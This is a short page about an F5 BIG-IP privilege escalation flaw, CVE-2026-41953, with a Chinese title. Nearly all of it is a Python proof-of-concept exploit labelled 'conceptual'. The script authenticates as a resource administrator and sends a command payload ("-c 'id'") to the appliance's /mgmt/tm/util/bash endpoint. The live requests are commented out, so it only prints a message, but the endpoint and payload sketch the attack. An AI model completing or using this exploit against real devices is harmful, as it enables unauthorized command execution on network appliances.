CVE-2026-41953 F5 BIG-IP权限提升漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-41953 (Conceptual) import requests def exploit(target_url, username, password): session = requests.Session() # Step 1: Authenticate as Resource Administrator login_payload = {'username': username, 'password': password} # session.post(f"{target_url}/mgmt/shared/authn/login", json=login_payload) # Assume token obtained token = "dummy_token" headers = { 'X-F5-Auth-Token': token, 'Content-Type': 'application/json' } # Step 2: Modify configuration object to escalate privileges # Vulnerable endpoint example exploit_payload = { "command": "run", "utilCmdArgs": "-c 'id'" } # response = session.post(f"{target_url}/mgmt/tm/util/bash", json=exploit_payload, headers=headers, verify=False) # print(response.text) print("[+] Conceptual PoC executed to demonstrate config modification.") if __name__ == "__main__": exploit("https://<target>", "resource_admin", "password")